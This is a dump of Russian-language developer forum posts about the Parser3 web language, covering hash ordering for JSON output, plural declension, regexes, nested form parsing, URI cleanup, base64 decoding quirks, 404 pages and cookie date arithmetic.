"79769","Такая у меня задача: написал я API для сайта чтобы потом можно приложениями данные тягать - API выдает данные в json строку. В сайте я из json строки с помощью javascript собираю эти блоки (пользовательский фронтенд видео с vimeo). Но мне показалось проще воспользоваться средствами парсера, чтобы привести дату к стандарту 17 Сентября 2014 и количество просмотров к типу 22 просмотра (просклонять), чем то же самое писать на яваскрипте. Я просто доставал все из базы хешем и перезаписывал нужные два поля, а потом этот хеш через ^json:string[...] выводил. Но возникла проблема - при ^hash.foreach[ $hash.date[^remodel[$hash.date]]] сразу можно забыть про сортировку по дате или количество просмотров, потому что foreach как захотел так и перебрал.\
Была бы такая фича у таблицы, чтобы изначальный порядок выборки не терялся и перезапись данных была бы. Или я чего-то не знаю?\
Помнится где-то я видел что кто-то писал последовательный foreach но как не силился искать - не нашел, а логику его не помню и потому не воссоздам. может завалялся у кого?"
"79771","хорошо, простой пример (с использованием pf)\
\
[code]@onPopular[aRequest]\
  $videos[^core.media.videos.aggregate[_fields(vid,plays,date,title,channelName,channelID,isActive,thumbL,duration);\
    $.asTable(false)\
    $.orderBy[$.plays[desc]]\
    $.limit(6)\
    ^if($aRequest.offset){$.offset($aRequest.offset)}{$.offset(0)}\
  ]]\
# add vid to hash, post-process plays and date\
  ^videos.foreach[k;v]{^datePlays[$v] $v.vid[$k]}\
  ^assignVar[videos;$videos]\
  ^render[/site/api/api.pt]\
\
@datePlays[h]\
$h.plays[$_plays[$h.plays] $_plays ^num_dec[$_plays;просмотр;просмотра;просмотров]]\
$h.date[^dtf:format[%d %B %Y;$h.date;$dtf:rr-locale]]\
\
\
@num_dec[num;nominative;genitive_singular;genitive_plural]\
^if($num > 10 && (($num % 100) \\ 10) == 1){\
        $result[$genitive_plural]\
}{\
        ^switch($num % 10){\
                ^case(1){$result[$nominative]}\
                ^case(2;3;4){$result[$genitive_singular]}\
                ^case(5;6;7;8;9;0){$result[$genitive_plural]}\
        }\
}\
\
[/code]\
\
и вот этот код выдает мне все вразнобой - тоесть приходят они четко отсортированные по play в убавании, а посл перебора - в разном порядке. как указать последовательность?\
\
Хочу заметить, что если указываю что выборку сделать как таблицу а не хеш, то все по порядку, но тогда уже нужно использоват _fields при преобразовании и опять тот же процесс подстановки\
\
http://m.godschurch.ru/latest/\
http://m.godschurch.ru/api/latest/"
"79772","[code]\
@onTest1[aRequest][locals]\
  $lFlates[^core.regions.flates.aggregate[_fields(flatID, flatID, houseID, flatNumber, address, regionID, createdAt);\
    $.houseID[57]\
    $.orderBy[$.flatNumber[desc]]\
    $.asHash(true)\
    $.limit(5)\
    $.offset(^aRequest.offset.int(0))\
  ]]\
  $lFlates[^_processFlates[$lFlates]]\
\
  $result[\
    $.type[as-is]\
    $.content-type[application/json]\
    $.body[^json:string[$lFlates;$.indent(true)]]\
  ]\
\
@_processFlates[aFlates][locals]\
  $result[^hash::create[$aFlates]]\
  ^result.foreach[k;v]{\
      $v.formatedDate[^formater.date[$v.createdAt]]\
      $v.rnd[^math:random(25)]\
      $v.formatedRnd[$v.rnd ^formater.numberDecline[$v.rnd;число;числа;чисел]]\
  } \
[/code]\
\
SQL-запрос получился такой:\
[code]select `flt`.`flat_id` as `flatID`, `flt`.`flat_id` as `flatID`, `flt`.`house_id` as `houseID`, `flt`.`flat_number` as `flatNumber`, concat(`str`.`street_name`,\
\", д. \", `hs`.`house_number`,\
if(`hs`.`house_korp` != \"\", concat(\", корп. \", `hs`.`house_korp`), \"\"),\
if(`hs`.`house_str` != \"\", concat(\", стр. \", `hs`.`house_str`), \"\"),\
if(`flt`.`flat_number` != \"\", concat(\", кв. \", `flt`.`flat_number`), \"\")\
)\
as `address`, `hs`.`region_id` as `regionID`, `flt`.`created_at` as `createdAt`\
from `regions_flates` as `flt`\
join `regions_houses` as `hs` on (`flt`.`house_id` = `hs`.`house_id`)\
join `regions_streets` as `str` on (`hs`.`street_id` = `str`.`street_id`)\
left join `regions_accounts` as `acc` on (`flt`.`flat_id` = `acc`.`flat_id`)\
where 1=1 and (`flt`.`house_id` = 57)\
group by flatID\
order by `flt`.`flat_number` desc\
limit 5[/code]\
\
В браузере получил json:\
[code]{\
	\"3891533\":{\
		\"flatID\":\"3891533\",\
		\"houseID\":\"57\",\
		\"flatNumber\":\"99\",\
		\"address\":\"Ивана Бабушкина ул., д. 3, кв. 99\",\
		\"regionID\":\"281\",\
		\"createdAt\":\"2013-08-05 14:26:06\",\
		\"formatedDate\":\"5 августа 2013 г.\",\
		\"rnd\":\"2\",\
		\"formatedRnd\":\"2 числа\"\
	},\
	\"3891532\":{\
		\"flatID\":\"3891532\",\
		\"houseID\":\"57\",\
		\"flatNumber\":\"98\",\
		\"address\":\"Ивана Бабушкина ул., д. 3, кв. 98\",\
		\"regionID\":\"281\",\
		\"createdAt\":\"2013-08-05 14:26:06\",\
		\"formatedDate\":\"5 августа 2013 г.\",\
		\"rnd\":\"7\",\
		\"formatedRnd\":\"7 чисел\"\
	},\
	\"3891531\":{\
		\"flatID\":\"3891531\",\
		\"houseID\":\"57\",\
		\"flatNumber\":\"97\",\
		\"address\":\"Ивана Бабушкина ул., д. 3, кв. 97\",\
		\"regionID\":\"281\",\
		\"createdAt\":\"2013-08-05 14:26:06\",\
		\"formatedDate\":\"5 августа 2013 г.\",\
		\"rnd\":\"15\",\
		\"formatedRnd\":\"15 чисел\"\
	},\
	\"3891530\":{\
		\"flatID\":\"3891530\",\
		\"houseID\":\"57\",\
		\"flatNumber\":\"96\",\
		\"address\":\"Ивана Бабушкина ул., д. 3, кв. 96\",\
		\"regionID\":\"281\",\
		\"createdAt\":\"2013-08-05 14:26:06\",\
		\"formatedDate\":\"5 августа 2013 г.\",\
		\"rnd\":\"24\",\
		\"formatedRnd\":\"24 числа\"\
	},\
	\"3891529\":{\
		\"flatID\":\"3891529\",\
		\"houseID\":\"57\",\
		\"flatNumber\":\"95\",\
		\"address\":\"Ивана Бабушкина ул., д. 3, кв. 95\",\
		\"regionID\":\"281\",\
		\"createdAt\":\"2013-08-05 14:26:06\",\
		\"formatedDate\":\"5 августа 2013 г.\",\
		\"rnd\":\"7\",\
		\"formatedRnd\":\"7 чисел\"\
	}\
}[/code]\
\
Мне кажется, что сортировка по flatNumber правильная, а не вразнобой.\
\
Пару замечаний по вашему и моему коду:\
— Чтобы добавить поле одновременно и как ключ и как значение «строки» достаточно дважды его продублировать. Если бы использовался метод all, то это было бы проделано автоматически.\
— Функция datePlays ужасна. Она меняет содержимое объекта (добавляет поля), который ей передали в качестве параметра. Переменная _plays вообще не нужна [она вообще локальная? если нет, то и тут есть проблемы]. Сделать это можно гораздо аккуратнее — см. метод processFlates  моем примере.\
— С офсетом можно обойтись проще. Хотя имеет смысл проверять его еще и на >= 0. :)\
\
У меня версия 3.4.4b, но и на всей ветке 3.4 поведение такое же (уже 5 лет)."
"79774","У меня в БД точно нет персональных данных, а идентификатор, который используется в качестве логина я убрал из выборки. :)"
"79775","если получить данные в нужном порядке почему-то сложно/невозможно, вы всегда можете написать небольшой метод, который выводит хеш в порядке следования значений какого-нить поля. в простейшем случае как-то так:\
[code]\
@myforeach[hash;key_name;value_name;code;separator;sort_column;sort_direction][t]\
$t[^hash._keys[]]\
^if(def $sort_column){\
	^t.sort($hash.[$t.key].$sort_column)[^if(def $sort_direction){$sort_direction}{asc}]\
}\
^t.menu{\
	$caller.[$key_name][$t.key]\
	$caller.[$value_name][$h.[$t.key]]\
	$code\
}[$separator]\
[/code]\
\
вызов метода будет аналогичен вызову метода foreach, только для сортировки надо передать ещё и sort_key + sort_direction"
"79776","[quote]Ивана Бабушкина ул., д. 3, кв. 95[/quote] смотрится совсем подозрительно )\
А потом, понимаешь, что она магнат столько квартир в одном доме)"
"79777","Есть база объектов недвижимости, на данный момент сами объекты состоят из двух таблиц:\
1 - цифровые данные\
2 - текстовые данные(для разных языков, хотя за 4 года использования используется всегда 1)\
\
У заказчиков поля разнятся, некоторые хотят много, некоторые мало, пока что это все регулировалось простой таблицей на диске, в которой описывались эти поля  и добавлялись соответствующие в БД.\
Но новый заказчик, решил сделать из это БД нечто большое, чем просто для сайта но и для внутренней работы, количество полей выросло и будет расти, и каждый тип недвижимости тянет за собой свои поля, раньше эти поля унифицировались, а уникальность писалась в текстовое описание.\
Теперь же вопрос как лучше продолжить работу, просто увеличивать ширину таблицы и просто делать выборки с нужными полями или же вынести все эти опции в отдельную таблицу и хранить все там,например в umicms они вообще все данные всей цмс хранят в такой таблице.\
Она имеет в себе самые распространенные поля, цифровое целое, цифровое с плавающей запятой, текстовое, логическое, text, все уже не помню.\
Такой подход мне кажется оптимальным для полного управлений данными и полями из вебинтерфейса для конечного пользователя.\
Но во всей такой структуре меня смещает фильтрация и выборки. Получается, для фильтрации надо сделать сначала кучу запросов чтобы понять, что надо показывать. Потом выбрать эти данные по ID с лимитами и потом по этим айди выбрать все опции.\
Получается куча запросов, а в плоской структуре все помещается в один селект с несколькими джоинами.\
\
Искал какие-то решения в интернете, понял что есть только ограничение на размер одной строки, в innodb количество полей вроде бы 1000.\
\
Может у вас есть опыт работы с такими БД."
"79778","... которая содержит nosql-расширение для работы с динамическими столбцами — https://mariadb.com/kb/en/dynamic-columns/\
\
p.s. Я не пробовал его в работе, но полагаю, что Монти плохого не сделает. :)"
"79779","Интересно, но это наложит ограничение на шаред хостинги, а не все готовы платить минимум 10 баксов за вдс в месяц + за первоначальное обслуживание.\
Но все равно спасибо, давно посматриваю в сторону no-sql решений, надо бы попробовать сделать тестовую БД и погонять запросы с большим количеством данных."
"79781","http://www.parser.ru/examples/chat/\
\
Как лучше/проще/правильнее развить этот пример, чтобы чатиться могли скрипты на сервере тоже?"
"79783","по крайне мене так было)"
"79785","Сейчас в скрипте под вендой:\
[code]d:\\MySQL\\Parser3\\parser3.exe _test.html > result.html[/code]\
пустые:\
[quote]SERVER_NAME	\
SERVER_SOFTWARE	\
GATEWAY_INTERFACE	\
REQUEST_METHOD	\
QUERY_STRING	\
HTTP_REFERER	\
HTTP_USER_AGENT	\
HTTP_X_FORWARDED_FOR	\
REMOTE_HOST	\
REMOTE_ADDR\
[/quote]\
\
непустая только:\
[quote]PARSER_VERSION	3.4.3 (compiled on i386-pc-win32)[/quote]"
"79787","В строке попадается 13 значное число между пробелом и запятой, как его обернуть в кавычки? Так не работает:\
[code]$strSource[^strSource.match[\\b\\d\\d\\d\\d\\d\\d\\d\\d\\d\\d\\d\\d\\d\\b][g']{^\"$match^\"}][/code]"
"79788","[code]$strSource[^strSource.match[\\b(\\d{13})\\b][g]{\"$match.1\"}][/code]"
"79790","[code]\
@main[][locals]\
	$Source[^file::load[text;bad_json2.txt]]\
	$Source[$Source.text]\
	^json_parse[$Source]\
\
@json_parse[strSource][locals]\
	$strSource[^taint[as-is][$strSource]]\
#patch timestamp\
	$strSource[^strSource.match[\\b(\\d{13})\\b][g]{\"$match.1\"}]\
\
	$h[^json:parse[$strSource;\
		$.double(false)\
		$.distinct[all]\
	]]\
[/code]\
\
bad_json.txt\
[quote]{\"T\":\"1396937590387\"}[/quote]"
"79794","Пытаюсь сделать навигацию \"3 уровня\" не получается...[url=\"http://yadi.sk/d/ncWD2c6GMw3wx\"]скриншот[/url]\
\
[code]@tab_anegdot[] \
$sections[^table::load[/cfg/tab_anegdot.cfg]] \
^sections.menu{^tab_anegdot_cell[]}\
@tab_anegdot_cell[] \
^if($sections.uri eq $request:uri){ \
   <span class=\"active\">$sections.name</span> \
}{ \
   <span><a href=\"$sections.uri\">$sections.name</a></span> \
}\
[/code]\
\
Пытался так же пойти другим путем: \
[code]@tab_anegdot[]\
$sections[^table::load[/cfg/tab_anegdot.cfg]] \
^sections.menu{^tab_anegdot_cell[]}\
@tab_anegdot_cell[] \
^if($sections.uri ne $request:uri && ^request:uri.pos[$sections.uri] == 0){\
   <span class=\"active\"><a href=\"$sections.uri\">$sections.name</a></span> \
}{ \
   <span><a href=\"$sections.uri\">$sections.name</a></span> \
}[/code]\
\
суть проблемы в следующем: \
Есть следующая иерархия \
[code]\
-1\
-- 2\
-- 3\
--- 3.1\
--- 3.2\
--- 3.3\
-- 4\
--- 4.1\
--- 4.2\
--- 4.3\
[/code]\
\
К примеру я нахожусь на 3 странице.. Если я применяю [code]@tab_anegdot[]\
$sections[^table::load[/cfg/tab_anegdot.cfg]] \
^sections.menu{^tab_anegdot_cell[]}\
@tab_anegdot_cell[] \
^if($sections.uri ne $request:uri && ^request:uri.pos[$sections.uri] == 0){\
   <span class=\"active\"><a href=\"$sections.uri\">$sections.name</a></span> \
}{ \
   <span><a href=\"$sections.uri\">$sections.name</a></span> \
}[/code]\
То у меня почему, то активной становится \"1\" и \"3\" т.е. получается текущая страница и страница на уровень ниже... \
Что то я вообще запутался с навигацией)"
"79795","Вуаля... вопрос спустя 10 часов решил сам))\
\
Ответ \
[code]^if($sections.uri eq \"/ссылка1/ссылка3/\"){[/code]"
"79796","Репозитарий: [url=\"https://github.com/ivansergeev/dash-parser3-docset\"]https://github.com/ivansergeev/dash-parser3-docset[/url]\
Сделано по документации Парсера версии 3.4.3.\
\
Кому интересно, там же рядом найдете поддержку синтаксиса под редактор Coda 2."
"79797","Здравствуйте, подскажите как реализовать в меню пропуски... [url=\"http://yadi.sk/d/aS-qwRTNMxTqj\"]скниршот[/url]\
\
К примеру имеется меню в стиле \"таба\"\
о рыбалке (ссылка) | про вовочку (ссылка) | ... (вот эти три точки, мне необходимо сделать просто в виде текста, в середине меню) | о дизайне (ссылка) | про ивана (активная вкладка, без ссылки)\
\
схематично выглядит примерно так:\
[code][url=\"/1/\"]о рыбалке[/url]	[url=\"/2/\"]про вовочку[/url]	 ...	[url=\"/3/\"]о дизайне[/url]	[b]про ивана[/b][/code]\
\
\
Спасибо"
"79799","Добавьте в конфиг доп поле и по нему уже сделайте отдельный вывод."
"79800","1. Не планируется ли привести класс date к более общему и современному виду? \
Да, есть поправки сdate, cdate_opt, \
а) но счёт времени всё равно начинается относительно недавно, а уходит в почти бесконечность,\
лучше бы с начала нашей эры и на сколько хватит int\
(а при отрицательных считали бы и до н.э. (с -0), запас есть).\
б) фич типа календаря и т.п. там нет, а хотелось бы единообразия.\
\
2. В документации и классах всё время речь о летнем времени\
(в т.ч. в Москве),\
а оно у нас неактуально\
(хотя ещё есть места, где актуально, так что работа с ним д.б. опциональной)."
"79801","Новая документация в пдф красива,\
но (только у меня?) в ней нет переходов по кликабельным ссылкам?\
По именам классов, методов и т.п.\
\
В версии chm - есть.\
\
Linux mint, \
chmsee / foxit, evince..."
"79802","С версии 3.4.0 можно дополнять таблицы (table) новыми строками.\
Не планируется ли сделать просто классически индексируемые массивы на чтение и запись элементов?\
Да, это можно промоделировать хэшами вместо таблиц, но неудобно."
"79804","Не решает вопроса.\
1. # WARNING: still under construction\
2. основан на базовом классе date с его ограничениями\
... $result[^date::create($uDate)] ..."
"79805","у всех так.\
версия pdf в нашем видении предназначена для печати."
"79806","1. в todo у нас это есть, но никаких сроков для этого мы пока не планируем.\
\
2. мало-ли у кого что не актуально сегодня :)"
"79807","добавлять в таблицы новые строки можно с незапамятных времён, а не с 3.4.0 (с 3.4.0 можно делать это используя квадратные скобки вместо фигурных).\
об основной причине, почему таблицы не изменяемые, мы писали не раз. это -- скорость операций (манипуляция происходит строками, а не ячейками) и уменьшение расхода памяти (при копировании таблицы копируются только указатели на строки, сами данные не копируются, это быстро и требует немного памяти). поэтому добавлять таблицам возможность изменения их содержимого мы не планируем.\
\
вопрос про создание индексируемых массивов я не понял. но ничего не мешает делать свой класс на основе хеша (один из старых вариантов этого класса кажется выложен в архиве в примере про полезные пользовательские комментарии)"
"79808","Хорошо. \
Хочется единого встроенного решения. \
Ибо другие части системы на это завязаны, напр., json всё равно использует встроенный класс date. \
Поэтому свои классы плохо помогают."
"79810","вы можете написать wrapper-ы @jsonString[] и @jsonParse[] и использовать их вместо @json:string[] и @json:parse[]\
\
внутри будут вызываться @json:string[] и @json:parse[], но им будет передаваться несколько дополнительных параметров, с помощью которых ваши объекты класса date (а также массивы и другие объекты) будут корректно сериализовываться и парсится.\
\
да, понимаю, что было-бы здорово, чтобы вообще всё было из коробки. я добавил в наше todo ticket о том, чтобы можно было обойтись без подобных wrapper-ов. мы подумаем об этом."
"79811","а. Вот здесь http://www.parser.ru/docs/lang/ видно, что \
--\
.date[sql-string|gmt-string|unix-timestamp] \
sql-string\
Опция определяет вид, в котором значения объектов класса date будут попадать в результирующую JSON-строку (см. одноимённые методы объекта класса date). \
--\
т.е. надо знать, что здесь будут использованы методы исходного date, иначе имеем проблемы,\
\
б. да, можно написать свои и везде подставлять,\
но \
\
в. это неудобно,\
\
г. это медленно,\
\
д. это вообще плохо, поскольку непредсказуемо -- мы не знаем, где и как ещё в каких классах, про которые мы думаем, что они работают штатно, на с.д. произойдёт вызов ограниченных базовых методов.\
\
е. грустно, мой ДР в штатные даты не попадает, а переписывать всё самому -- неадекватно и неэффективно."
"79812","Класс json поддерживает сериализацию любых типов. Говорить про скорость без замеров не имеет смысла.\
\
P.s. Всегда можете предложить свою реализацию дат в виде патча - это может сильно ускорить включение класса с расширенным диапазоном в Парсер.\
P.p.s. Мой ДР попадает в стандартный диапазон, так что проблемы нет."
"79813","В продолжении темы http://www.parser.ru/forum/?id=76414\
Можно ли как-то улучшить метод parseData, так чтобы не надо было в ручную прописывать уровни глубины вложенности, мне пока и двух хватает, но хочется идеала )\
[code]@CLASS\
serialForm\
\
@getData[][names]\
	$self.data[^hash::create[]]\
	^form:fields.foreach[field;value]{ \
		^self.parseData[$field;$value]\
	}\
	$result[$self.data]\
	\
@parseData[field;value][valueName]\
	$mtcData[^field.match[^(.+?)\\^[][g]]\
	^if($mtcData){\
		$fieldName[$mtcData.1]\
		$mtc[^field.match[\\^[(.+?)\\^]][g]]\
		^mtc.menu{\
			^switch(^mtc.line[]){\
				^case(1){\
					^if(!($data.$fieldName is \"hash\")){\
						$self.data.$fieldName[^hash::create[]]\
					}\
					$level1[$mtc.1]\
					^if(^mtc.count[] == 1){$self.data.$fieldName.$level1[$value]}\
				}\
				^case(2){\
					$level2[$mtc.1]\
					^if(!($self.data.$fieldName.$level1 is \"hash\")){\
						$self.data.$fieldName.$level1[^hash::create[]]\
					}\
					^if(^mtc.count[] == 2){$self.data.$fieldName.$level1.$level2[$value]}\
				}\
			}\
		}\
	}[/code]"
"79814","[code]\
@main[]\
$self.data[^hash::create[]]\
^parseData[item^[1^]^[2^]^[3^];a]\
^parseData[item^[1^]^[2^]^[4^];b]\
^parseData[item^[1^]^[1^]^[2^];c]\
^parseData[item^[2^];d]\
^parseData[item^[3^];e]\
^parseData[item^[4^]^[5^];f]\
^parseData[item^[4^]^[6^];g]\
^parseData[item2;h]\
^parseData[item3;i]\
^dstop[$self.data]\
\
\
\
@parseData[field;value][t;h]\
$t[^field.match[\\^[([^^\\^]]+)\\^]][g']]\
^if(def $t.prematch){\
	$h[^create[$self.data;$t.prematch]]\
	^t.menu{\
		^if(^t.line[] == $t){\
			$h.[$t.1][$value]\
		}{\
			$h[^create[$h;$t.1]]\
		}\
	}\
}{\
	$self.data.[$field][$value]\
}\
\
\
@create[h;k]\
^if(!($h.$k is \"hash\")){\
	$h.[$k][^hash::create[]]\
}\
$result[$h.$k]\
[/code]\
\
P.S. если это всё в классе, то вынести в @auto[] $oRegex[^regex::create[...]] и в методе использовать его"
"79815","Буду разбираться, как это так происходит )"
"79816","перебираем все кусочки, которые были внутри квадратных скобок и для каждого из них, кроме последнего создаём на нужном уровне хеш (если его ещё нет). после создания в переменную h кладём указатель на этот хеш (готовим для следующей итерации). для последнего кусочка записываем значение. всё.\
\
чуть необычно нахожу корневой ключ: он будет в prematch, т.е. делать отдельный поиск его с помошью шаблона или pos+left не осень нужно. хотя возможно используемый мой метод чуть более ресурсоёмкий/медленный, т.к. делается поиск этого prematch.\
\
\"микрооптимизация\":\
[code]\
@parseData[field;value][result;match;t;h;i]\
$t[^field.match[\\^[([^^\\^]]+)\\^]][g']]\
^if($t){\
	$h[^create[$self.data;$t.prematch]]\
	^for[i](1;$t-1){\
		$h[^create[$h;$t.1]]\
		^t.offset[cur](1)\
	}\
	$h.[$t.1][$value]\
}{\
	$self.data.[$field][$value]\
}\
\
@create[h;k][result]\
^if(!$h.$k){$h.[$k][^hash::create[]]}\
$h.$k\
[/code]\
\
её смысл в том, чтобы в цикле два call-а (if, line) заменить на один (offset) без существенного ухудшения читаемости кода. call -- одна из самых дорогих операций в парсере. однако в данном случае это всё несущественно, т.к. длинных циклов тут не будет и количество обрабатываемых field небольшое.\
\
P.S. в исходном коде есть небольшая ошибка: не задекларирована среди локальных переменных переменная с именем match. надо добавить её туда."
"79817","Первое это регулярка, такое написание будет быстрее чем, предложенное мной? Просто оно настолько мозг выносящее).\
И второе, как проходил момент передачи вложенности.\
После минут 20 разбирания кода и его пошагового воспроизведения, до меня все таки дошло ).\
Вся магия в месте $result[$h.$k], мы передаем не сам хешь, а только последний элемент, который является в тоже время частью глобального хеша. А так как мы не делали ^hash::create, то передается фактически \"указатель\"."
"79818","1. всегда \"правильнее\" писать в шаблоне конструкцию вида:\
<начальный символ><всё что угодно кроме конечного символа><конечный символ>\
вместо\
<начальный символ><всё что угодно, но минимальной длины><конечный символ>\
\
например шаблон поиска непустых аттрибутов без парсерного экранирования (выглядит проще для понимания, т.к. нет кучи regex-эскейп символов, которые есть в случае квадратных скобок):\
\".+?\" => \"[^\"]+\"\
\
2. возможно я запутал, назвав метод create. наверное название dive подошло бы лучше. если будете использовать этот код у себя, лучше переименуйте.\
\
P.S. ради интереса я сам потестировал код. тот, что с микрооптимизациями -- лучше в плане расхода памяти, причём разница заметна и без микроскопа. сравнивал и с начальным своим кодом и с некоторыми промежуточными вариантами."
"79820","Начал сегодня делать к своему проекту продвинутые права и понял почему он вам не нравится). До этого от него мне требовалась только простая авторизация, пары пользователей и ко всему этому классу не было интерфейса. А тут начал делать и вижу не стыковки внутри.\
Может у вас что-то изменилось и появилась реализация которая вам нравится ? ;)"
"79822","Подскажите, есть ли более прямой путь создания поддиректорий чем вызов внешнего скрипта?"
"79823","Т.е. Создайте пустой файл из строки в нужной папке."
"79824","Сначала я так же делал, но не получалось, думал нельзя, оказывается все дело в правах)"
"79826","Во-первых, спасибо за класс, в нем вного интересного. А остальное, имхо, можно решить и рядом с ним. Кому мешает создать дополнительную таблицу типа social куда уже будут заноситься дополнительные фичи типа даты рождения, города и т.д., но с ссылкой на id в таблице авторизации? Я бы так решил; поправьте, если не прав.\
\
Единственное, что бы я добавил в класс, это финальную авторизацию через мыло. Этого пункта лично мне не хватает. А остальное можно решить через доп. классы. Да и удобнее с ними дело иметь, и перекрывать, по сути, не надо ничего"
"79827","Там же additional_fields есть, можно добавлять поля к таблице пользователей и класс будет их доставать."
"79828","Так и есть, но в обычном режиме будут нужны только те поля, что Миша вывел в класс. Доп. поля будут нужны только при выводе друзей, напоминалке о ДР, и т.д. Я бы сделал доп. класс. и отдельную таблицу, и доп. инфу выводил бы только по мере надобности. Это уже с замесом на соц. сеть"
"79829","Не понимаю что такое обычный и необычный режимы.\
Указали дополнительные поля — они подставляются в запрос и достаются, нет — не достаются.\
Для простого расширения набора полей без необходимости изменения запросов — достаточно.\
\
Если дополнительные поля не Text или Blob, в отношении один к одному к пользователю, и их не две сотни — смысла в отдельной таблице нет."
"79831","Подскажите, пожалуйста, как быть.\
\
Небольшой сайт. В sections.cfg лежат тексты, заголовки разделов и окон - всё там.\
\
В коде сверху $uri[$request:uri], далее везде ^sections.menu{^if($sections.uri eq $uri){что-то}}.\
\
Однажды я поставил на сайт лайки :). И на него стали приходить с как-их-там-параметрами в урле. Ну, вроде [url=\"http://this-one.ru/promo/?_utl_t=vk\"]того[/url].\
\
Результат предсказуем.\
\
[b]Как обойти проблему?[/b]\
\
Понятно, что вместо $uri[$request:uri] надо удалять в риквесте вопросительные знаки и всё, что правее. А как это сделать?\
\
Спасибо."
"79832","[code]\
$uri[$request:uri]\
\
$a[^uri.split[?;lh]]\
clean 1: $a.0\
\
$b[^uri.match[(\\?.*)^$][ig]{}]\
clean 2: $b\
\
$c[^uri.mid(0;^uri.pos[?])]\
clean 3: $c\
[/code]"
"79833","Я проще нашел варьянт, кажется).\
\
Есть еще [url=\"http://www.parser.ru/docs/lang/requestquery.htm\"]$request:query[/url].\
\
Можно взять $hvost[$request:query], а потом сделать полученной ранее $uri [url=\"http://www.parser.ru/docs/lang/stringtrim.htm\"]trim[/url]:\
\
[code]$uri[$request:uri]\
$hvost[$request:query]\
$uri[$uri.trim[right;$hvost]][/code]\
\
С утра попробую :-)."
"79838","[code]$uri[$request:uri]\
$fixuri[^uri.split[?;lh]] \
$uri[$fixuri.0] [/code]"
"79839","Например, так:\
[code]\
^getUri[$request:uri]\
\
@getUri[uri]\
\
	$result[^uri.split[?;lh]]\
	$result[^if(def $result){$result.0}{/index.html}]\
[/code]"
"79840","Я когда три с лишним года назад делал этот сайт, сверху в авте определил $uri, чтоб хотя бы request сто раз не повторять.\
\
Зато у меня сто раз в коде повторяется ^sections.menu{^if($sections.uri eq $uri){тайтл, текстфайл, х1, кейвордз, дескрипшн, подсветки пунктов меню, что угодно}}\
\
И я все три года полагал, что это мой косяк: надо было сверху же все столбцы конфига раскидать сразу по переменным. Чтобы не крутить конфиг всё время, а прокрутить один раз.\
\
Что, переменные \"тяжелее\" для ресурсов, чем операции?"
"79842","Здравствуйте.\
\
Обнаружилась проблема при отправки закодированного файла в формате base64 через браузерный data:URI, которая решается только с помощью костыля.\
\
Допустимые символы для кодирования в base64 это только [A-Za-z0-9+/].\
При получении парсером строки с base64 контентом, парсер автоматически меняет + на пробел. При выполнении преобразования типа ^file::base64[$form:data] происходит неверная интерпретация файла, из которого удаляются все неизвестные символы включая пробел (который должен быть +). \
Использование ^taint[as-is] проблему не решает.\
\
Возможное решение использовать замену ^data.replace[ ;+]\
\
Предлагаю внести поправки в метод ^file::base64 с целью интерпретации пробела как +."
"79843","- есть много base64-реализаций и очевидно, что всем угодить невозможно: http://en.wikipedia.org/wiki/Base64#URL_applications\
- декодирование символа '+' в пробел требует, например, CGI спецификация. т.е. это отключать это нельзя.\
\
сейчас у вас возможны варианты:\
- GET с escape '+'. правильный вариант, т.к. '+' -- спец символ, который должен быть закодирован в %2B при передаче его в URI. то, что в data у вас передаётся незаэнкоденный '+' -- это нарушение спецификации (имею в виду, что символ '+' не должен передаваться незакодированным, если хочется, чтобы он прочитался именно как '+').\
- POST. там никаких преобразований не делается.\
- replace. универсальный вариант, который позволит работать с любыми base64-реализациями.\
\
в принципе можно подумать о том, чтобы в методы base64 кодирования/декодирования добавить опции и передавать алфавит (или хотя-бы два \"необычных\" символа и опцию по добавления pad-символа ('='). увы, не во всем места можно эти опции прозрачно передать (например есть неудобства с ^mail:send[], ^math:digest[], ^json:string[]).\
\
P.S. про возможность добавить опцию с алфавитом я добавил в todo@. мы подумаем."
"79845","Доброго времени суток ребят, нужно сделать страничку 404 а с parser'ом знаком совсем недавно. За ранее спасибо."
"79846","Для отдачи сервером кастомной страницы 404, вам необходимо настроить сам веб-сервер, указав путь к странице скрипту.\
Например:\
\
# Директива для Apache\
ErrorDocument 404 /error404.html\
\
# Директива для NGINX\
error_page 404 /error404.html;"
"79847","А то если парсер почему-то ляжет, то и 503 ляжет ) Как вариант .htm  и только статичная страница без кода)"
"79848","f.byte(offset;value) ????\
\
отличненько, сколько еще волшебных недокументированных возможностей есть в парсере? Мне так этого не хватало в свое время...\
может где-то опубликован список недокументированных полей \
и методов?"
"79850","Добрый день!\
Не могу понять, как можно сдвинуть дату на минуты, секунды.\
Нужно для установки кук.\
Дни и выше есть:\
$now[^date::now[]]\
^now.roll[month](-1)\
Подскажите, как оперировать датой в произвольной форме.\
Заранее благодарю!"
"79852","Большое спасибо!\
(-1/24)\
Я так понимаю, что первое число - насколько сдвинуть, а второе - что сдвигаем.\
А какие значения может принимать второе число?\
24 - так понял, часы.\
Попробовал разные значения - минуты не нащупал :)\
\
------------------\
Вроде понял.\
(-сколько/24/60/60)\
Т.е. (-1/24) час.\
 (-1/24/60) мин.\
 (-1/24/60/60) сек."
"79853","там, например, написано:\
[quote]\
$.expires(число дней) - задает число дней (может быть дробным, 1.5=полтора дня), на которое сохраняется cookie;\
[/quote]\
\
=>\
0.5 -- пол дня (12 часов)\
1/24 -- 1 час\
ну и т.д.\
ручками для кук создавать даты не нужно вообще."
"79856","Спасибо, но читал и не раз, но почему-то упорно видел только $.expires($date) :)\
Во-вторых, там в неявном виде, а 1/24/60 и т.п. нигде не встретилось.\
Добавил примечание и по Date и по Cookie."
"79857","до чего дошёл прогресс... парсер люди начали изучать раньше дробей %-)\
\
P.S. шутка."
"79860","Но есть языки общего назначения, которые прекрасно справляются с этими задачами. Вызвать их из Парсера элементарно."
"79861","Я уже забыл Perl и так не хотелось его поднимать... тем более он так совершенен в своем уродстве, что забыть его было не сложно... ))"
"79862","Господа, пытался найти здесь на форуме свой вопрос, но так и не нашел ответа, хотя многие говорят об этом. Прошу прощения, но возможно ответ есть. В общем, при попытке редактирования из админки галереи вываливается сообщение об ошибке, а в логе появляется вот такая запись:\
[code]\
[Thu May 22 12:10:18 2014] [31012] /manage/textext/modules/gallery/?id=13&idpage=14&idpage_name=text: /home/a/arniss/naves-voronej.ru/public_html/class/Img.p(176:10): 'info' Unknown image format '/block/gallery/small/25.jpg' [Img] [uri=/manage/textext/modules/gallery/?id=13&idpage=14&idpage_name=text, method=GET, cl=0]\
[/code]\
Кто сталкивался, ответьте пожалуйста..."
"79864","- что используется, NConvert или ImageMagick?\
- пробовали запускать используемую конвертилку из консоли? её точно не поломали?\
- загруженное изображение точно корректное?\
- пробовали запустить получение info этого файле на сервере из консоли?\
